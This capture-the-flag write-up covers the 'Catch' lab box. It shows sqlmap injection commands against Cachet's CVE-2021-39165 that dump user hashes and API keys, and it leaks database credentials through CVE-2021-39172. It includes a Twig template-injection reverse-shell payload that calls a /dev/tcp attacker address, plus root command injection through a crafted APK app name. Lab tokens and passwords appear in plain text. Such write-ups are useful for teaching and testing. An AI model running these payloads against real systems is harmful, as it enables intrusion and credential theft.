Home Catch writeup
Post
Cancel
Preview Image

Catch writeup

Summary

This box was a very interesting box centered around a little .apk forensics as well as building valid and signed apks. We used api tokens found in the decompiled apk to access a let’s chat API, which gave us credentials to the Cachet service. This service was vulnerable to multiple CVE’s, however one could be used to leak credentials which was then used to sign into the box via ssh. Once this was done a cronjob was discovered which ran vulnerable code as root every 5 minutes or so. Exploiting this code via an apk with a malicious name resulted in code execution, giving us root access.

Foothold

We first start out by doing a port scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.92 scan initiated Thu Apr 14 00:33:28 2022 as: nmap -sC -sV -p- -o nmap/fullScan.txt 10.129.126.105
Nmap scan report for 10.129.126.105
Host is up (0.072s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?
---SNIP---
5000/tcp open  upnp?
---SNIP---
8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.29 (Ubuntu)

When we browse to the web application hosted on port 80 we are greeted with the website for Catch Global Systems

The welcome page for the application hosted on port 80

A quick look around quickly shows that basically no funtionality is implemented on this page, except the download function.

Clicking the bright orange button lets us download an apk file name catchv1.0.apk

I’ll use apktool to decode the apk. After decoding the apk we can take a look at the strings.xml file. The file can be found at the path catchv1.0/res/values/strings.xml. Below are some interesting strings:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<resources>
	--SNIP---
    <string name="app_name">Catch</string>
    <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
    <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
    <string name="slack_token">xoxp-23984754863-2348975623103</string>
    ---SNIP---
</resources>

As can be seen above, we now have some tokens that we can use to access the Let's Chat, Gitea and slack services used by the developers of the apk presumably. In fact, the machine hosts a gitea service on port 3000, a Let's Chat service on port 5000 and a Cachet service on port 8000.

Let’s chat provides a REST-like API, more can be found here and the same goes for Gitea

Moreover, the Cachet service has had multiple CVE’s disclosed at this time. I couldn’t find any version number anywhere, but i found some promising exploits in this blogpost. All required an authenticated user however, which i did not have. The blogpost however links to other exploits which can achieve this, including an SQL injection vulnerability in older Cachet versions. A POC for CVE-2021-39165 can be found here.

The Cachet page

The POC is quite limitied sadly, however it is quite simple to use SQLmap to exploit the vulnerability.

sqlmap -u "http://catch.htb:8000/api/v1/components?name=1&1%5B0%5D=&1%5B1%5D=a&1%5B2%5D=&1%5B3%5D=or%201=1)*+--+-" --tables --level=5 --risk=3 The * is used to show SQLmap where it should inject payloads.

Below is relevant output:

1
2
3
4
5
6
7
8
9
10
11
[19:03:44] [INFO] retrieved: 5
[19:03:45] [INFO] retrieved: information_schema
[19:03:56] [INFO] retrieved: cachet
[19:04:00] [INFO] retrieved: mysql
[19:04:03] [INFO] retrieved: performance_schema
[19:04:14] [INFO] retrieved: sys

[19:07:25] [INFO] fetching number of tables for database 'cachet'
[19:07:25] [INFO] retrieved: 25
---SNIP---
[19:09:30] [INFO] retrieved: users

Command for dumping columns from the users table in the cachet database: sqlmap -u "http://catch.htb:8000/api/v1/components?name=1&1%5B0%5D=&1%5B1%5D=a&1%5B2%5D=&1%5B3%5D=or%201=1)*+--+-" --columns -D cachet -T users --level=5 --risk=3

relevant output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
+-------------------+------------------+
| Column            | Type             |
+-------------------+------------------+
| level             | tinyint(4)       |
| active            | tinyint(1)       |
| api_key           | varchar(191)     |
| created_at        | timestamp        |
| email             | varchar(191)     |
| google_2fa_secret | varchar(191)     |
| id                | int(10) unsigned |
| password          | varchar(191)     |
| remember_token    | varchar(100)     |
| updated_at        | timestamp        |
| username          | varchar(191)     |
| welcomed          | tinyint(1)       |
+-------------------+------------------+

The interesting columns are username, password and api_key, so let’s dump those values as well.

sqlmap -u "http://catch.htb:8000/api/v1/components?name=1&1%5B0%5D=&1%5B1%5D=a&1%5B2%5D=&1%5B3%5D=or%201=1)*+--+-" --dump -D cachet -T users -C "username,password,api_key" --level=5 --risk=3

1
2
3
4
5
6
+----------+--------------------------------------------------------------+----------------------+
| username | password                                                     | api_key              |
+----------+--------------------------------------------------------------+----------------------+
| john     | $2y$10$2jcDURPAEbv2EEKto0ANb.jcjgiAwWzkwzZKNT9fUpOziGjJy5r8e | 7GVCqTY5abrox48Nct8j |
| admin    | $2y$10$quY5ttamPWVo54lbyLSWEu00A/tkMlqoFaEKwJSWPVGHpVK2Wj7Om | rMSN8kJN9TPADl2cWv8N |
+----------+--------------------------------------------------------------+----------------------+

Let’s try to crack these hashes with hashcat. In the meantime we can check out the other services that we got tokens for via the apk.

Let’s check out available rooms on Let’s chat:

curl -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" http://catch.htb:5000/rooms

Output can be seen below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[
	{"id":"61b86b28d984e2451036eb17",
	"slug":"status",
	"name":"Status",
	"description":"Cachet Updates and Maintenance",
	"lastActive":"2021-12-14T10:34:20.749Z",
	"created":"2021-12-14T10:00:08.384Z",
	"owner":"61b86aead984e2451036eb16",
	"private":false,
	"hasPassword":false,
	"participants":[]},

	{"id":"61b8708efe190b466d476bfb",
	"slug":"android_dev",
	"name":"Android Development",
	"description":"Android App Updates, Issues & More",
	"lastActive":"2021-12-14T10:24:21.145Z",
	"created":"2021-12-14T10:23:10.474Z",
	"owner":"61b86aead984e2451036eb16",
	"private":false,
	"hasPassword":false,
	"participants":[]},

	{"id":"61b86b3fd984e2451036eb18",
	"slug":"employees",
	"name":"Employees",
	"description":"New Joinees, Org updates",
	"lastActive":"2021-12-14T10:18:04.710Z",
	"created":"2021-12-14T10:00:31.043Z",
	"owner":"61b86aead984e2451036eb16",
	"private":false,
	"hasPassword":false,
	"participants":[]}
]

Lets get the messages from the rooms aswell

curl -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" http://catch.htb:5000/rooms/61b86b28d984e2451036eb17/messages

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
[
	{"id":"61b8732cfe190b466d476c02",
	"text":"ah sure!",
	"posted":"2021-12-14T10:34:20.749Z",
	"owner":"61b86dbdfe190b466d476bf0",
	"room":"61b86b28d984e2451036eb17"},

	{"id":"61b8731ffe190b466d476c01",
	"text":"You should actually include this task to your list as well as a part of quarterly audit",
	"posted":"2021-12-14T10:34:07.449Z",
	"owner":"61b86aead984e2451036eb16",
	"room":"61b86b28d984e2451036eb17"},

	{"id":"61b872b9fe190b466d476c00",
	"text":"Also make sure we've our systems, applications and databases up-to-date.",
	"posted":"2021-12-14T10:32:25.514Z",
	"owner":"61b86dbdfe190b466d476bf0",
	"room":"61b86b28d984e2451036eb17"},

	{"id":"61b87282fe190b466d476bff",
	"text":"Excellent! ",
	"posted":"2021-12-14T10:31:30.403Z",
	"owner":"61b86aead984e2451036eb16",
	"room":"61b86b28d984e2451036eb17"},

	{"id":"61b87277fe190b466d476bfe",
	"text":"Why not. We've this in our todo list for next quarter",
	"posted":"2021-12-14T10:31:19.094Z",
	"owner":"61b86dbdfe190b466d476bf0",
	"room":"61b86b28d984e2451036eb17"},

	{"id":"61b87241fe190b466d476bfd",
	"text":"@john is it possible to add SSL to our status domain to make sure everything is secure ? ",
	"posted":"2021-12-14T10:30:25.108Z",
	"owner":"61b86aead984e2451036eb16",
	"room":"61b86b28d984e2451036eb17"},

	{"id":"61b8702dfe190b466d476bfa",
	"text":"Here are the credentials `john :  E}V!mywu_69T4C}W`",
	"posted":"2021-12-14T10:21:33.859Z",
	"owner":"61b86f15fe190b466d476bf5",
	"room":"61b86b28d984e2451036eb17"},

	{"id":"61b87010fe190b466d476bf9",
	"text":"Sure one sec.",
	"posted":"2021-12-14T10:21:04.635Z",
	"owner":"61b86f15fe190b466d476bf5",
	"room":"61b86b28d984e2451036eb17"},

	{"id":"61b86fb1fe190b466d476bf8",
	"text":"Can you create an account for me ? ",
	"posted":"2021-12-14T10:19:29.677Z",
	"owner":"61b86dbdfe190b466d476bf0",
	"room":"61b86b28d984e2451036eb17"},

	{"id":"61b86f4dfe190b466d476bf6",
	"text":"Hey Team! I'll be handling the `status.catch.htb` from now on. Lemme know if you need anything from me. ",
	"posted":"2021-12-14T10:17:49.761Z",
	"owner":"61b86f15fe190b466d476bf5",
	"room":"61b86b28d984e2451036eb17"}
	]

Based on these messages, we now have access to the john user on the cachet status page. We will also probably not be able to crack those passwords we retrieved earlier based on the one we can see in this thread.

john:E}V!mywu_69T4C}W

We now have both the api key and password for the john user. Let’s check out what we can do with cachet.

The cachet dashboard

Under the incident template tab i found Cachet helpfully tells us that we can use the Twig templating language:

The incident template tab

Based on PayloadAllTheThings, Twig template injections aiming to achieve code execution take the following form:

{{['id']|filter('system')}}

We can then create a reverse shell payload:

{{["bash -c 'sh -i >& /dev/tcp/10.10.17.182/1337 0>&1'"]|filter('system')}}

Once we have created the template, we can report a incident via the incidents tab, however for some reason i could not get a reverse shell on the target system, even though the string {{7*7}} evaluated to 49. Instead i returned to the cachet vulnerabilities referred to earlier. Since I have an authenticated user, I can perform an exploit of CVE-2021-39172. Reading about the exploit, it apparently revolves around being able to access the .env file when changing the mail configuration. The .env file can then be altered in a way so as it points to some remote redis server, and when the system tries to communicate with this redis server, code is deserialized resulting in code execution. Another option is to read the documentation for Cachet https://docs.cachethq.io/docs/installing-cachet

Here we see what a normal environment will look like:

1
2
3
4
5
6
7
8
9
10
11
12
APP_ENV=production
APP_DEBUG=false
APP_URL=http://localhost
APP_KEY=SomeRandomString

DB_DRIVER=mysql
DB_HOST=localhost
DB_DATABASE=cachet
DB_USERNAME=homestead
DB_PASSWORD=secret
DB_PORT=null
---SNIP---

Since we can access the environment of the system I will simply steal the DB credentials. It was a little unreliable, but submitting ${DB_PASSWORD} and ${DB_USERNAME} in the mail from adress field in the form leaked the variables, and we now have the credentials will:s2#4Fg0_%3!

Leaking environment variables via CVE-2021-39172

Privilege escalation

Once we ssh into Will’s account on the box, it is usually a good idea to make some noise and make a lot of scans (obviuosly a terrible idea in real life). Linpeas doesn’t show up with anything interesting, but pspy does:

1
2
3
4
5
6
---SNIP---
2022/06/16 16:49:01 CMD: UID=0    PID=511329 | /bin/bash /opt/mdm/verify.sh 
2022/06/16 16:49:01 CMD: UID=0    PID=511332 | openssl rand -hex 12 
2022/06/16 16:49:01 CMD: UID=0    PID=511333 | mv /opt/mdm/apk_bin/*.apk /root/mdm/apk_bin/716caef605aa7ce857722e6c.apk 
2022/06/16 16:49:01 CMD: UID=0    PID=511334 | jarsigner -verify /root/mdm/apk_bin/716caef605aa7ce857722e6c.apk 
---SNIP---

We can see that root runs a script /opt/mdm/verify.sh pretty often. Let’s take a look.

The contents of the script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/bin/bash

###################
# Signature Check #
###################

sig_check() {
        jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
        if [[ $? -eq 0 ]]; then
                echo '[+] Signature Check Passed'
        else
                echo '[!] Signature Check Failed. Invalid Certificate.'
                cleanup
                exit
        fi
}

#######################
# Compatibility Check #
#######################

comp_check() {
        apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
        COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
        if [ -z "$COMPILE_SDK_VER" ]; then
                echo '[!] Failed to find target SDK version.'
                cleanup
                exit
        else
                if [ $COMPILE_SDK_VER -lt 18 ]; then
                        echo "[!] APK Doesn't meet the requirements"
                        cleanup
                        exit
                fi
        fi
}

####################
# Basic App Checks #
####################

app_check() {
        APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
        echo $APP_NAME
        if [[ $APP_NAME == *"Catch"* ]]; then
                echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
                mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
        else
                echo "[!] App doesn't belong to Catch Global"
                cleanup
                exit
        fi
}


###########
# Cleanup #
###########

cleanup() {
        rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
}


###################
# MDM CheckerV1.0 #
###################

DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin

for IN_APK_NAME in $DROPBOX/*.apk;do
        OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
        APK_NAME="$(openssl rand -hex 12).apk"
        if [[ -L "$IN_APK_NAME" ]]; then
                exit
        else
                mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
        fi
        sig_check $IN_FOLDER $APK_NAME
        comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
        app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup

For every .apk in the /opt/mdm/apk_bin folder, the script will run some operations on the apk bound to that name. The interesting functionality is in the app_check() function, especially line 46. The script runs the command sh -c ‘mkdir APP_NAME’, as long as the name contains Catch. This means that if we name our app Catch;Some_command we can inject arbitrary commands into the script which will then be run as root.

The APP_NAME variable gets taken from the strings.xml file within the apk. Furthermore, we also need to sign the apk, since the script checks if the apk is signed and exits if not.

The easiest way to get the flag is to simply rename the apk we downloaded earlier in the strings.xml file to:

Catch; cp /root/root.txt /tmp/root.txt; chmod 777 /tmp/root.txt

This will copy the flag to /tmp and make it readable.

I built the apk using apktool:

java -jar apktool_2.6.1.jar b catchv1.0

And then signed it via uber-apk-signer. Once this was done i moved it into the apk_bin folder and waited with pspy:

1
2
3
4
5
6
7
8
9
10
11
12
13
2022/06/16 17:37:01 CMD: UID=0    PID=528805 | jarsigner -verify /root/mdm/apk_bin/b07b3f441e5934c62058bcd9.apk 
2022/06/16 17:37:02 CMD: UID=0    PID=528825 | 
2022/06/16 17:37:02 CMD: UID=0    PID=528823 | /bin/bash /usr/bin/apktool d -s /root/mdm/apk_bin/b07b3f441e5934c62058bcd9.apk -o /root/mdm/process_bin 
2022/06/16 17:37:02 CMD: UID=0    PID=528826 | 
2022/06/16 17:37:02 CMD: UID=0    PID=528827 | expr xd : x-J 
2022/06/16 17:37:08 CMD: UID=0    PID=528847 | /lib/systemd/systemd-udevd 
2022/06/16 17:37:14 CMD: UID=0    PID=528851 | grep -oPm1 (?<=compileSdkVersion=")[^"]+ /root/mdm/process_bin/AndroidManifest.xml 
2022/06/16 17:37:14 CMD: UID=0    PID=528856 | 
2022/06/16 17:37:14 CMD: UID=0    PID=528855 | sh -c mkdir Catch; cp /root/root.txt /tmp/root.txt; chmod 777 /tmp/root.txt 
2022/06/16 17:37:14 CMD: UID=0    PID=528854 | xargs -I {} sh -c mkdir {} 
2022/06/16 17:37:14 CMD: UID=0    PID=528858 | chmod 777 /tmp/root.txt 
2022/06/16 17:37:14 CMD: UID=0    PID=528859 | mv /root/mdm/apk_bin/b07b3f441e5934c62058bcd9.apk /root/mdm/certified_apps/Catch; cp /root/root.txt /tmp/root.txt; chmod 777 /tmp/root.txt/catchv1_verified.apk 
2022/06/16 17:37:14 CMD: UID=0    PID=528860 | rm -rf /root/mdm/process_bin

I could then read the flag in the /tmp directory. Success!

This post is licensed under CC BY 4.0 by the author.